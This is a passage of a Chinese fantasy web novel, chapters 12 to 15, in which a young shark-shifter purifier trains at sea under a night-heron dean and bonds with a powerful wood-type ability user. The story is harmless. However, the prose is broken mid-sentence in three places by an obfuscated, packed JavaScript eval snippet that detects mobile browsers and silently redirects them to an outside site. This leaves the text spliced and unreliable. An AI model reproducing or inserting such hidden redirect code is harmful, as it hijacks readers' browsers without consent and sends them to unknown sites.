梁管家坚定维护自家小少爷和自己的实际被监护人的形象：“有什么不健康的？不就是异能战士和专属净化者之间的关系吗？” 只不过作为异能战士的姜纶，异能太强太难以控制；作为专属净化者，偏偏是个刚觉醒的还营养不良的缺课严重的少年，异能都不会使。 其他佣人懒得听两人掰扯，其中一名身材娇小的女佣站起来说道：“城际列车时间差不多了，那我先出差去了。” 园丁也跟着一起站起来，沉默地跟着女佣走出宿舍。 梁管家摸了摸自己的领结，把手环光屏设定成镜子模式，对自己的着装和表情进行了一些细节的调整：“看来小伍今天晚上还是没法上课，我去替他跟院长请个假。” 沙伍这一觉直接睡了一天一夜，醒过来看到晚饭还以为自己只是打了个盹，问：“我的杨梅汁呢？怎么刚喝了一口就不见了？”是什么特殊异能吗？ 咦？ 他好像身体里多了点什么。 他认真感受了一下，突然又变成类似手动档呼吸的感觉，浑身别扭。 停！不要去想！ “那是你昨天晚上的饮料。”姜纶把一杯颜色清新淡绿色的气泡饮料递给他，“今天喝葡萄汁。” 沙伍的爱好很容易摸清楚，就喜欢吃好吃的，看好看的。 这种高颜值小甜水，沙伍没有任何抵抗力。 他眯着眼睛喝了一小口，确定是自己喜欢的酸酸甜甜的味道，立刻就喝了一大口：“好喝！祁叔怎么做的饮料？好厉害！” 祁大厨顿时眉开眼笑：“随便做的，加了一点气泡水。”还是小伍捧场，让他这个厨师感觉到了职业价值。 姜纶喝了一口自己的，确实是不难喝，但也就是一杯普通的小甜水，果然小鲨鱼还是太好养了。 祁大厨对姜纶怒目而视！ 姜纶理都不理，等沙伍吃完，解开衬衣上面的两颗纽扣，偏头露出脖颈：“来，咬我。” 12.第十二章 变异番茄树 沙伍下意识就凑上去咬了一口，突然觉得不对，立马把脑袋收回来：“我现在可以用异能给你净化，用不着咬。”增加他牙齿的负担。 “咬一口更直接。”姜纶把他脑袋往自己脖子上按。 “唔！”沙伍都没张嘴，嘴唇贴在他脖颈上，接触到另外一个人光滑细腻的皮肤和温热的触感，突然感觉有点怪怪的。 能有什么奇怪的？ 不就是钻石小少爷吗？ 沙伍抗拒，七手八脚挣开姜纶的手，没走大门，直接从窗户跳了出去：“我去上课了啊啊啊啊！” 伪装成宿舍的别墅，一楼窗户开得又大又低。 一群人就看着沙伍刚出去就被一只夜鹭抓着起飞。 梁管家走到窗户边，仰头看着沙伍飞快地变成天边一个小点：“院长到了晚上就是精神。” 姜纶扣着扣子，不屑轻哼：“真当自己是夜鹭了，啧。” 几名佣人有些奇怪：“啊？院长不就是夜鹭吗？” “院长不是夜鹭是什么？苍鹭？” “不像吧？院长的腿没那么长，脖子倒是挺长的，长颈鹭？” 姜纶冷着一张脸转身，没搭理其他人。 梁管家问他：“不去夜钓吗？” “不是不让我去？禁令解除了吗？”说了上次他出事不是因为夜钓，结果没一个人听他的。 他感受自己略微……松软一点的异能，内心雀跃。 他现在也是有专属净化者的人了。 等他的小鲨鱼成长起来，他就再也不会被污染值困扰，不会再用一点异能就怕自己被完全污染，到时候他就带着他的小鲨鱼秒天秒地秒空气。 漫漫长夜，小鲨鱼又不在，他还是玩一会儿游戏吧。 沙伍是半夜回来的。 夜鹭松开爪子，把沙伍从半空就往下扔。 “啊啊啊！”如此猝不及防。 梁管家抬手轻轻一划，沙伍感觉自己被一阵轻柔的微风托举住，缓缓双脚着地：“咦？” 这种清凉的柔软的感觉，是不是小孩子被爸爸爱护摸摸头的感觉？ “梁伯伯，好厉害！” 梁管家看着沙伍看着自己的星星眼，顿时心旷神怡：“没有没有，就是一点普普通通的风系异能小技巧。” 他抬手要去摸摸沙伍的头，刚伸出去就被一巴掌拍开。 没用力，连个声响都没有。 “嘿！”突然被抱起来的沙伍吓了一跳，“姜纶？你还没睡？” “嗯，等你回来呢。”从二楼跳下来的姜纶抱着沙伍往餐厅走，“是不是很饿了？祁叔专门给你做了夜宵。” 自己又不是小猫小狗，被这么抱着有点不好意思，但沙伍实在是没力气了：“嗯，谢谢。” 姜纶低头跟他轻轻碰了一下脑门：“客气什么？夜老师训练起来就喜欢把人最后一点异能榨干，特别不当人。” 梁管家看了看自己的手背，再看看一点都没察觉到姜纶用异能推开他，微微一笑：平时一点异能都不用，没想到控制力已经到了这种程度，真不愧是小少爷。 夜宵是绵软浓稠的白粥，热乎乎地一直暖到心底。 喝了两口之后，沙伍就恢复了一点力气，从姜纶手上接过勺子：“我自己来。” 姜纶没跟他争，看着寡淡到简陋的夜宵，不满：“夜宵就这么点？” 祁大厨坐在餐桌边上，手上还剩下半杯冰啤酒：“小少爷不是不吃夜宵的吗？我们的已经吃完了。” 阿二打着饱嗝补充：“今天吃的是啤酒小烧烤。哎呀，小伍你下次有机会带点花蛤回来，我给你烤蒜蓉粉丝花蛤，那个夜宵吃最赞！” “好！其实我有抓到一些，都给院长吃了。” 阿大说道：“可惜小少爷种的茄子都吃光了，不然还能一起烤茄子吃。” 沙伍满脸遗憾：“我还没吃过烤茄子呢。”完全没感觉到姜纶的怒火，他抬手下意识搭在姜纶手上，“你种的菜最好吃了，是因为木系异能吗？” 姜纶还想说自己的菜园子里小贼特别多，刚想生气来着，被沙伍这么一看，顿时什么火气都没了，骄傲：“当然。我的木系异能跟别人的可不一样。”又看向祁大厨，“你们自己吃烧烤啤酒，只给小鲨鱼白粥，也好意思？” 祁大厨喝了一大口啤酒：“白粥最温补，你是营养师，还是我是营养师？尊重一下我的专业！” 沙伍这种因为自身能量不足，愣是拖到18岁喝了一点姜纶的血才勉强觉醒的异能者，身体亏空的能量和现在异能练习的消耗，食物和烹饪方式都得精心规划，不然以后只长个两三吨可怎么办？出门不要被变异虎鲸群欺负？ 沙伍拍拍姜纶的胳膊：“白粥很好喝。” 非常醇厚的米香，轻轻咀嚼就有淡淡的甜味，一点都不寡淡。 “白粥能有多好喝？”姜纶不信，握着沙伍的手给自己舀了一勺吃，皱眉，“不就是普通的白粥？”有一点能量，但也就那么一回事。 沙伍嫌弃皱脸：“你想喝就自己去盛，别用我的勺子。”明明面前就摆着一锅子。 姜纶还没吱声，祁大厨先说道：“这一锅都是你的。” 沙伍看着有自己两个脑袋大的锅子，怀疑自己能不能吃得完。 等真正把这一锅粥全都炫完后，他自己也感到很惊讶：“我好厉害，竟然能吃这么多。” 只要自己保持这个状态，岂不是分分钟三五吨？ “正经木系异能者种植的水稻，吃完好好睡一觉。”祁大厨把剩下的家务交给家政机器人，开始赶人。 姜纶怀疑他在影射自己是不正经的木系异能者，但祁大厨走得太快，没给他空间发挥。 沙伍吃饱之后，困意一下就起来了，眼皮沉重，拉着姜纶往楼上走：“睡觉去了。对了，怎么没看见小风姐和薛哥？” “他们出差去了。” “哦。”沙伍实在太困了，听到的话压根没过脑。 一晚上他把一片海域里的变异生物挨个找了一遍，漏掉一只就得加练，游回来的力气都没有。 第二天上午，一望无际的田野，豆腐块一样四四方方种植着许许多多沙伍不认识的植物。 沙伍蹲在一株茄子前神游了半天，突然疑惑：“为什么当家政还得出差？说起来家里本来就没什么家务，为什么要用这么多人？” 明明家政机器人就能解决的事情，难道是为了彰显世家豪门的与众不同？ “异能者不都是主修异能，再辅修一项专业技能的吗？他们也是差不多的情况。”姜纶看着被他连根拔起的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16185449|180796||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 茄子，“你这是睡醒了还是没睡醒？让你睡个懒觉不听，非得跟过来。” “生物钟就这样，早上躺在床上什么都不干有一种罪恶感。”沙伍心虚地看着姜纶过来把茄子重新种回去，等他浇水修枝遮阴一套做完，没有感觉到任何异能，奇怪，“这就完了？你不用一点木系异能帮助它一下？” “我动异能容易被污染，还是不了。”姜纶摆手，重新在菜园里忙活，手环投射的光屏上闪过各种复杂的数据。 沙伍跟在他后面，看着各种奇奇怪怪的植物：“你不是辅修园艺吗？怎么种那么多菜？” “园艺的尽头是种菜。”姜纶在面积相当可观的菜园里巡视，“我直接一步到位。” “也是。”沙伍看到前面一片五颜六色的果实，“那是番茄吗？” 姜纶顺着他的视线看过去：“啊？那个也不知道该不该交番茄。之前不知道怎么搞的，番茄和辣椒一起发生了变异，没什么攻击性和污染，就继续种着试试看。” 沙伍听到没有攻击性，就直接走到跟前仰头看，发现这株奇怪的植物已经长成了将近两层楼高的树，各种五颜六色的果实一串串挂满枝头，需要庞大的铁架支撑。 果实长得和他在超市看到的番茄一模一样，只是颜色更加鲜艳……哦，也有个黑白的。 沙伍指着那个黑白番茄给姜纶看：“那个坏了吗？还是特殊颜色？是不是发生了变异？” “啊！变异了！还污染了！”“黑白番茄”扑腾到沙伍头上，对着他就是一顿扇。 沙伍抱头鼠窜：“院长！我错了！没认出你！”为什么院长会刷新在任何地点？“你不是白天起不来吗？” 夜鹭是个尽职尽责的好院长：“这不是学生的植物果实太多了，我熬日过来帮忙疏果嘛！” 姜纶抬手把夜鹭抓起来：“别欺负我家小鲨鱼……哎！别抓我脸！” 夜鹭重新飞回到变异番茄树上，居高临下：“你那厚脸皮……”他突然注意到姜纶脖子上的红痕，想到自己突然异能开窍的学生，扭头就猛地把最红最大的一个番茄一口吞下。 沙伍检查了一下，确定姜纶的脸没有任何损伤，才去关心自己的院长。 夜鹭像个雕塑一样站在番茄树顶上，只有脑后的长长饰羽随风飘动。 “院长？” 夜鹭像是受惊一样浑身抖动了一下，浑身的毛炸开，突然飞走。 沙伍顺着夜鹭飞行的方向看去，突然看到天边一团红光：“啊，院长飞成了一个太阳。” “哼！活该，我种的东西能随便疏果的吗？”姜纶把自己被夜鹭挠乱的头发拨回去，教导沙伍，“这么漂亮的果子露天种植没有被鸟和虫子吃掉，都是有原因的。这棵变异番茄，是和辣椒一起杂交变异出来的，果子长的像番茄，口味是辣椒，很辣的那种。” 沙伍努力分辨了一下空气中些许果实的气味：“也没有都很辣，有些不辣的。” “闻得出来？” “嗯。” “要摘吗？” “要！” 沙伍刚说完，就感觉身体一轻被姜纶举到了肩膀上：“喂！” 姜纶递给他一个篮子：“摘吧。” 沙伍想说可以用小飞车飞上去摘，话到嘴边却还是咽了回去：“嗯。” 13.第十三章 战斗天赋 两层楼高的变异番茄树像一株果实瀑布，沙伍坐在姜纶肩膀上，看到菜园子里还有其他人在，好奇地问：“那些是你请来照顾菜园的人吗？” “不是，都是来偷菜的。”姜纶一手扶着他的脚，避免他摇晃，一手指着他左上方的一个番茄让他摘，“大部分是农学院的人，报复我摘他们的水果。真是的，我摘的那一点又不会影响到论文。要不是我种的果树都还没挂果，才懒得摘他们的。” “你别得了便宜还卖乖。”沙伍把姜纶指定的番茄摘下来，闻了闻，递给他，“甜的。” 感觉农学院的人在这一刻和家里的佣人们诡异重合，介于相互尊重和相互打压之间。 姜纶接过番茄，试探着咬了一口：“嗯？这个味道还行。” “你说味道还行，那一定很好吃。”可惜早餐太丰盛，要不然他也炫一个。 姜纶一边吃着番茄，一边架着沙伍摘了两篮子，一人一篮子提着往回走。 “梁伯伯他们除了管家，还是你的保镖？”沙伍实在好奇，想了想多打探人隐私不好，又赶紧说道，“不方便说就不说。” “这有什么不方便说的？”姜纶手上拿着两个番茄，实在分不清哪个辣哪个甜，“怎么说呢？他们是负责杀我的。” 沙伍震惊地手一松，差点把篮子掉地上：“啊？” 姜纶往前走了两步，回头看到他定在原地，拉着他继续走：“怎么了？” “不是，真的假的？”沙伍感觉不像啊。 梁伯伯他们人可好了，对姜纶也很尊重……哦，也不是那么尊重，但确实没有一点要把姜纶干掉的样子。 “真的啊。”姜纶说得云淡风轻，“我的异能很难控制，一旦放开异能，很容易产生精神污染。成年以前，用药剂和同源异能多少能压制一些，成年后就不太行了。要是我被完全污染……” 姜纶的异能值有多强，沙伍有深切体会，虽然只是冰山一角，对他也没有任何恶意，但只是想想要是这么庞大的异能冲着自己来就浑身颤栗。 “你要是完全污染，梁伯伯他们就负责杀了你？” 姜纶听着沙伍说话的声音低得都在发飘，笑着过去偏头顶了一下他的头：“没有哦。他们得在我完全污染前杀掉我。真要是等我完全污染了，他们就杀不掉我了。” 沙伍听着他轻松的语气就一股无名火升上来：“你就吹吧。” 姜纶刚想说自己说的实话，就听沙伍说：“反正有我这个净化者在，不会让你完全污染的。不！你别想有一点污染！” 姜纶整个人都呆愣了三秒，把手上的篮子放下，抱起沙伍就往天上一抛。 “啊啊啊！快把我放下！” “我是鲨鱼，不是飞鱼！” “警告你快把我放下！” “我是净化者，是你爸爸！” “对爸爸尊重一点！” “救命——杀鱼了——” 两个人打打闹闹回家。 梁管家看到沙伍趴在姜纶背上，死命咬姜纶的脖子，立刻指责姜纶：“小少爷又欺负小伍。小伍，快回你房间看看，给你准备了一些晚上上课用的装备，你先试一下。” “嗷！”沙伍像个快乐小狗一样叫了一声，飞快抛弃姜纶往楼上跑。 “变异番茄，一篮子甜的，一篮子辣的……”姜纶说完才发现自己两手空空，“篮子放在路上了，一会儿无人车应该会一起送过来。” “啊？”既然要用无人车送，为什么还特意放到路上？ 姜纶微微一笑，没回答，转而说道：“我下午去一趟墨城，帮我安排一下。” 墨城是青龙城下辖的一个类似东湖城的卫星城，只是墨城沿海，不像东湖城偏内陆。 梁管家奇怪：“去墨城做什么？” “去钓鱼。据说那边出了大货，我去蹲两天。”姜纶的脸上全是钓鱼佬的执着。 “还得住宿啊。”梁管家很快给他安排妥善了食宿，“小伍要留在这里继续上课。” “嗯。”姜纶的表现很淡定。 梁管家觉得自家小少爷的样子有点奇怪，又想不清楚哪里奇怪。 反正小少爷一直是我行我素的性格，想做的事情一定要做到，偏偏还总是想一出是一出。 吃过午饭后，沙伍睡了个午觉，醒来被安排了跟家庭教师上文化课，刚结束就直接从教室被夜鹭抓走。 飞在空中的沙伍还是害怕，但已经能够克制住自己不尖叫，用不太颤抖的嗓音问：“院长，我可以自己游吗？” “不行。你游得太慢了。”夜鹭嫌弃，“等你游到污染海域，天都亮了。” “怎么会？我明明一两个小时就能游到，很快！”沙伍不服。 真当他还是一无所知的小萌新？ 他可是问过夏学长的，他的速度别说是新生过了，在整个水产学院内都在中上。 “切。”夜鹭不屑，“之前带你玩耍的算什么污染海域？今天就带你见识见识真正的精神污染和战斗。” 飞行中的夜鹭用异能扫了一遍一无所知的沙伍。 体检报告中的0污染让他非常介意。 能够将环境中的污染排除在外的技能，经过一定训练，异能值只要不是太低的异能战士都能做到。 简单来说，就是用自身异能在自己的周围形成一张膜，将自身和周围环境隔绝。 当然，膜有强弱，环境中的污染也有强弱，属于矛和盾孰强孰弱的问题。 不管怎么说，沙伍是绝对没掌握这一项技能的。 他又能净化姜纶…… 前不久他察觉到姜纶的异能气息的时候，差点动手了。 那群不知所谓的家伙，是真不知道自己释放出了一个什么样的怪物。 万一要是收不了场，看他们怎么办。 现在这个吸收了姜纶血液的小家伙，到现在为止的体检报告上的数据都不知道真假，其中有多少是受到姜纶的影响，又有多少是来自沙伍自身。 就沙伍的小身板能够吸收姜纶的血本来就很奇怪。 可是异能天赋那么高的孩子，怎么会出现在孤儿院？ 大灾变后两百多年，异能者形成的家族几乎和普通人之间“生殖隔离”，普通人中诞生的异能者的数量比例极低，更别说S级异能值的。 同样是孤儿，异能战士的后代几乎都会被别的异能家族收养，怎么说都不该在孤儿院里。 “别到时候又搞出那朵花一样的东西来。”夜鹭越想越生气，速度进一步飙升。 凛冽的风把准备张口说话的沙伍灌了一肚子风，甚至连闭嘴都做不到，情急之下他很不熟练地用异能给自己整了个口罩：“咳咳咳！” 好险，差点被吹成气球了。 “咦？”夜鹭惊奇，“这就会用膜了？” 沙伍在课本上学过膜，反应过来：“对哦，只要把这一小块覆盖住全身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16191383|180796||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就是膜了。” 说着，他就开始尝试起来，都没考虑过自己被抓着在空中。 他先把异能汇入“口罩”中，变成了一个厚厚的口罩盾牌，显然异能不会自动延展。 他又沿着“口罩”外面绕圈增加面积，这一次倒是成功了，只是存在接缝。 在高空飞行的情况下，小风嗖嗖从接缝处钻进来，格外明显。 啧，他又不是蜘蛛，为什么要绕圈圈？ 作为一条大白鲨，他应该采用大白鲨的方法。 深色的背部和浅色的腹部，让他和大海融为一体。 水流带来猎物的信息。 他的速度在海洋中不算最快，但依靠着出色的隐匿天赋和强大的爆发力，他总能收获想要的猎物。 大海不是危险，是他的游乐场，是他最好的膜、盾、武器！ 海洋中最不缺的就是水。 哪怕是在大海的上空，运用水系异能显然比别的地方要更简单更快速。 体型偏小的夜鹭抓着的人类少年几乎在瞬间就被一个水形成的茧子包裹住，又在下一瞬……消失。 沙伍当然不是真正的消失，而是把膜覆盖住了全身，并且自带光学隐身。 夜鹭有些意外。 学得真快……啊，不是，本能吧。 所以这种明显是战斗天赋异能者，为什么会是姜纶那怪物的净化者？ 一般来说，净化者不都是一些异能温和的人吗？ 这个明明营养不良的小家伙，连异能都才刚刚接触，用都不怎么会用，偏偏打架凶得很。 等将来沙伍真正拥有成年变异鲨鱼的体型，姜纶那家伙真不怕被咬下一块肉来。 啧，管他呢，又不是他的净化者。 “咦？这里是外海？” 夜晚不是单纯的漆黑。 虽然进入到了城市范围之外后，夜色就明显浓重了许多，但在高空能够看到陆地隐约的轮廓，能够直观地看到学校拥有的海湾是一个葫芦形。 他刚开始接触的被净化的海湾是葫芦的下半截，这两天进入的污染海域是葫芦的上半截。 怎么就突然飞出葫芦了？ 他区区半吨的小体格，真的能抗住真正的污染海域吗？ 等等，这个高度会不会太高了亿点？ 还好夜师傅没想着把自己的学生干掉，到了目标海域之后，他降到离海面不到三米的高度才松开爪子。 沙伍在入海的瞬间变成鲨鱼。 他本来还以为变成鲨鱼之后体型比人形大很多，膜会不会破掉，为此做了一些准备，没想到根本就没发生。 鲨鱼的形态能够更顺畅的使用出异能。 三角背鳍在海面转了个圈，大白鲨才探头问：“院长，今天的作业是什么？” 夜鹭漂在海面上：“在海上生存三天。” “三天？”不是，他晚饭都没吃……哦，没事，大海里到处都是生猛海鲜，吃倒是不愁，但他突然被抓出来，身上穿的还是居家服不是作战服。 这种普通材质的衣服在大海里泡上三天，还能剩下什么？ 他还怎么回去？ 所以，得坚持三天的膜？ 这是他一个初学者能够做到的事情吗？ 可是不坚持就要光着回去…… 死也要坚持！ 伍哥的面子绝对要维持！ 果然姜纶说的没错，院长是恶魔！ 14.第十四章 先天净化圣体 沙伍入水前还想着衣服保卫战，入水后根本来不及想一些杂七杂八的。 一股巨大的力量袭来，得亏瘦弱亚成体个头小，一扭身就闪开了攻击，并且出于本能回头就是一口。 也因为这一口，他感觉皮肤一阵灼热，显然是受了伤。 这是他第一次在海中受伤，就很气！ 破损的膜瞬间修复，不是为了保护衣服，纯粹是为了在战斗中保护自己。 膜形成的瞬间，掠食者失去了沙伍的踪迹，被搅乱的海水略微恢复，显露出一只巨大的章鱼的轮廓，几乎一瞬间就“融入”海水中。 只是这种融入对沙伍来说一点用都没有，在他的感官中，大章鱼异常清晰。 在复杂环境中，小鲨鱼拍马都比不上章鱼的变色能力；在浅海中，小鲨鱼和大章鱼差不多水平。 小鲨鱼呲了呲牙，刚才那一口下去并没有咬断大章鱼的腕足，反倒是被弹了一下。 真·弹牙！ 这东西抓回去……哦，不对，他要在海里待三天，也没带装猎物的网兜，抓了带不回去，这么弹牙的也不知道祁叔能不能做。 小鲨鱼顺着海水流动的方向在大章鱼附近游弋，可惜大章鱼腕足太多，几次尝试攻击都被对方挡了下来，还差点被对方反击。 这么多腕足真是太麻烦了，要是把它们都绑起来就好了。 小鲨鱼没有手，但他可是水系异能啊！ 大海里全是水，这些水全是他的手，用水把大章鱼捆起来不是分分钟的事情吗？ 他的念头只是这么闪过，下一瞬就感觉身体里的异能融入周围的海水。 顿时，海水像是变成了他身体的一部分，朝着目标就挥舞了过去。 大章鱼显然感觉到了危机，但作为同样水系变异生物，它并没有感觉到多惧怕，在下意识闪避的同时还想反击，并且同样操控起水系异能，只是没想到攻击会如此迅猛。 缺乏异能锻炼的小鲨鱼哪怕学会了膜技巧，对于如何精细分配自身异能还远远谈不上熟练，现在的异能运用全来自于本能。 作为第一只让他受伤的变异动物，小鲨鱼给予了足够的尊重。 大量异能驱使的海水形成巨大的海水手掌，直接双手一合，把大章鱼像气球一样拍破。 “噗。”小鲨鱼吐出一个无辜的泡泡，对上双马尾“鸬鹚”的眼睛，“院长，这个章鱼太老了，不好吃。” 潜在水底观察学生做作业的夜鹭：“异能省着点用。你还要在海里面待三天，这一下差不多三成用出去了，恢复速度有那么快吗？要是这时候来一个更强的敌人怎么办？” 小鲨鱼慢速巡航，乖乖听院长教导他怎么辨别对方的变异等级和污染等级。 其实就是用异能试探，对方的异能比自己高的，会给自己带来压迫感。 压迫感越强烈，对方的等级就越高。 这种判断基于大量的战斗经验。 小鲨鱼询问：“不是有手环可以辅助判断？” “手环不准。”夜鹭是原教旨主义异能战士，笃信自己的力量，不喜欢依赖外物，“再说手环这东西说不定什么时候就坏了，真打架的时候很容易坏的。” 小鲨鱼觉得院长说得对，看到前面一个巨大的鱼群：“院长，我去给你抓鱼吃！” 夜鹭来不及阻止，就见小鲨鱼一尾巴冲上去，紧接着就被鱼群撵得到处流窜。 这是一群变异秋刀鱼，体型不算特别大，大概身长在一米不到，变异等级也不算太高。 但是成群的变异动物麻烦就麻烦在数量巨大且喜欢团体作战。 譬如南方朱雀城面临的最大威胁，不是什么强大的变异生物，而是变异蟑螂变异老鼠这种单个实力不强，但数量巨大且防不胜防的东西。 秋刀鱼群的数量肯定比不上变异老鼠，但也不是一条小鲨鱼能够对付的。 小鲨鱼哪怕套了一层膜，具备一定的隐身效果，在攻击的一刹那就会暴露自己的位置。 鱼群像是一个巨大的个体，一条条的鱼像是身体的感官，一条鱼遭到攻击，就是整个鱼群遭到攻击。 小鲨鱼还是那种习惯性收敛自身气息的变异者，完全没有掌握通过自身强大的异能值来威吓驱赶低级变异生物的技能。 比一般鲨鱼体型更纤细，身长比起鱼群也不占优势的小鲨鱼，在海底蹿得夜鹭都没眼看，刚想教训学生，就见小鲨鱼借着一片礁石隐藏住了自身的气息。 鱼群绕着礁石区转了几圈，没找到猎物，重新聚成一团离开。 在夜鹭以为小鲨鱼会转而寻找其它目标的时候，小鲨鱼悄无声息地尾随鱼群，趁着鱼群在礁石区逗留时产生的松散，猛地一口咬住一条秋刀鱼。 比起弹牙的大章鱼，秋刀鱼对小鲨鱼的牙齿就很友善，脆脆爽爽就是一条。 小鲨鱼吃完才意识到自己生吃了一条鱼，想感觉到一点不适的时间都没有，在鱼群反应过来的时候，赶紧隐藏自己。 接下来夜鹭就见小鲨鱼利用着一片礁石区，把一群秋刀鱼不断分散，再抓住落单的一条一条吃掉。 夜鹭冲破海面，站在超出海面一点点的礁石上，一条接着一条吞学生上贡的鱼。 剩下的鱼群失去战斗意志，飞快游走。 沙伍跟着变回人形坐到礁石上，抹了一把脸上的海水，试着用自己所剩不多的异能控制让海水离开身体，竟然意外得简单。 礁石露出海面的部分不仅少，而且还坑坑洼洼。 夜鹭占据了最中心的位置，沙伍坐在边边，两条腿里还有一条腿只能垂在水里：“院长，你这么小小一只，鱼都吃哪儿去了？” 话落，夜鹭一翅膀就把沙伍扇下海，看他想要游上来，摆出长颈鹭的姿势恐吓他。 沙伍没变成鲨鱼，仗着院长肯定不会叨死他的自信，摆出一副讨饶的姿势，重新在礁石上找到自己的一席之地。 吃完一堆鱼的夜鹭在礁石上擦擦嘴：“我怎么小小一只了？我不知道有多大我告诉你。” “那你告诉我啊。”沙伍抬手去戳夜鹭的白色头毛，顶着被叨住的手指，愣是给他来了个双马尾造型。 嗯，舒服了。 夜鹭甩头，双马尾重新变成单马尾，垂在一侧：“丁点大的小屁孩，大人的事情轮不到你管，还是想想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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夜鹭撇着一条腿站在高高的王座上，红眼珠子俯视异能值已经残存不多，但通过自身水系的优势，极其快速地从海洋汲取能量的学生。 敢在污染区域放肆吸收，只有极少数净化者才能做到。 这小子看来以后实践课都要跟别的学生分开上。 夜鹭脑后的白色饰羽无风自动，高高的王座变成一个小小的鸟窝。 算了，像沙伍这种异能值的学生，实践课本来就是单独授课的，真要是一起上实践课，控制能力毛毛糙糙的小家伙们能把天都给捅个窟窿。 沙伍歪头看着夜鹭在小鸟窝里保持着金鸡独立的姿势，欲言又止，止又欲言。 夜鹭从沉思中回神，看到他这幅样子就火气上头：“说！” 沙伍支支吾吾：“院长便秘了吗？那个……最好不要拉在窝里……嗷！” 小鲨鱼被夜鹭踹进海里，只能海底重新搓了个鲨鱼形的睡眠舱，还用一条水绳拴在礁石上。 夜鹭感受着充满污染的海水经过小鲨鱼的睡眠舱，流出去的时候变成了纯净的海水，仰头看着夜空叹了一口气：“教学生真头疼。” 15.第十五章 真正的异能 沙伍第一次在海底以鲨鱼的形态睡了一觉，感觉还可以，应该说睡得很好。 夜鹭看着长得像大白鲨，行为模式更像海豚的学生，一大清早就在海面上跳来跳去，实在不知道该说什么好。 没一会儿，小朋鲨就拖了一堆鱼回来上贡，变回人形坐到礁石前，还给自己用异能搓了一张宿舍同款水椅子和水餐桌，抬手把夜鹭的窝搬到桌上：“院长你看这些能吃吗？” 夜鹭看着他拖拽鱼群用的“睡眠舱”，学的是真快。 他把鱼群分成两堆：“这堆我吃，你吃那堆。” 沙伍低头看了看自己面前的鱼，闻了闻：“臭的。”看了看夜鹭，立马改口，“污染的。” 夜鹭顺势布置作业：“你今天的作业就是把这些鱼净化。” 沙伍觉得问题不大。 他是有过净化姜纶污染经验的人。 “咦？”沙伍突然抬头，“院长，为什么同样是污染，这些鱼和海水我闻着就臭臭的，闻姜纶就很香？” “很香？”这个夜鹭倒是第一次听说。 异能诞生自大灾变后，距今已有两百多年，但人类对异能的研究还很浅显。 每个人的异能都有所不同，表现形式虽有相像，但个人体感千差万别。 他倒是没听说过其他净化者会觉得污染有所不同的。 沙伍回忆从姜纶身上闻到的气味：“就是那种闻着很好吃的气味。”说着，他忍不住咽了一下口水。 他不是馋姜纶，他是没吃早餐，饿的。 “哦，怪不得老是见你啃他。”男生之间勾肩搭背的很正常，但没事啃脖子的他还是第一次见。 沙伍做的时候不觉得，被院长这么一说，顿时脸红：“都是他让我咬的……”怎么越说越奇怪了？ 为了掩饰自己奇怪的心慌，他拿起一条鱼，凝聚异能覆盖在让他感觉到臭味的地方，试图溶解掉那股气味，一个不留神，整条鱼被溶解掉了。 夜鹭面前升起一道水系异能形成的薄薄的淡蓝色膜，挡住了炸开的鱼酱：“继续，注意控制异能输出的量，放缓输出速度。” 异能值太高，控制力太低，就像小孩手舞大铁锤，难以使用，更容易伤人伤己。 无法有效控制的异能值，并不能真正用于作战。 太阳升起来，夜鹭抖了抖羽毛。 沙伍觉得有些太晒了，撑起一片水幕，给自己制造了一个水穹顶挡太阳。 夜鹭本来还想出去飞一圈，现在觉得：“太阳出来了，我先睡一觉，等我晚上醒了检查你作业。” “哦。” 接下来一整天，沙伍制造了一堆鱼酱、鱼饼。 早上抓的鱼早就用光了，他又去抓了好几次。 用异能净化污染他没琢磨明白，用异能抓鱼的熟练度猛猛增加。 如果说姜纶的污染是压缩饼干，那么这些鱼的污染就是嫩豆腐，轻轻一碰就四分五裂。 他后背的衣服破了个大洞，不是昨天被大章鱼打的，是刚才他抓一条明显臭味更浓郁的大鱼被打伤的。 原本他以为污染值高的大鱼，是不是就能扛得住一点？ 最后的成果是眼前一堆碎肉。 他都不敢想自己这水平是怎么给姜纶净化的？ 姜纶要是弱一点点，这会儿已经投胎了吧？ “啊……”沙伍用异能把自己的海上教室换了一次水打扫干净，又同样收拾了一遍自己。 衣服破了没办法，只能这么将就穿着，大不了等回去的时候还是从医院走，找章医生借一身病号服。 正在心不在焉，一股突如其来的压力突然降临。 沙伍下意识摆出戒备的姿势，第一次直观地感受到夜鹭所说的通过对方给自己的压力来判断对方的等级。 这家伙比自己强，只是强得有限。 这种程度的强，只会让沙伍感觉到兴奋。 他现在能够大致明白自己对于食物的渴望，都是源自于自身变异产生的巨大能量缺口。 小时候他不懂，吃不饱，那就抢。 孤儿院提供的食物份额是有定量的。 一个城市数以万计的孤儿住在一起，大量依赖机器人，孤儿们之间的争斗可想而知。 他需要靠打，才能保护自己的食物，从那些体格比自己健壮的，年纪比自己大的人手里保护自己的食物。 现在，他仿佛回到了在孤儿院的时候，注意力高度集中，异能探索水面下的情况。 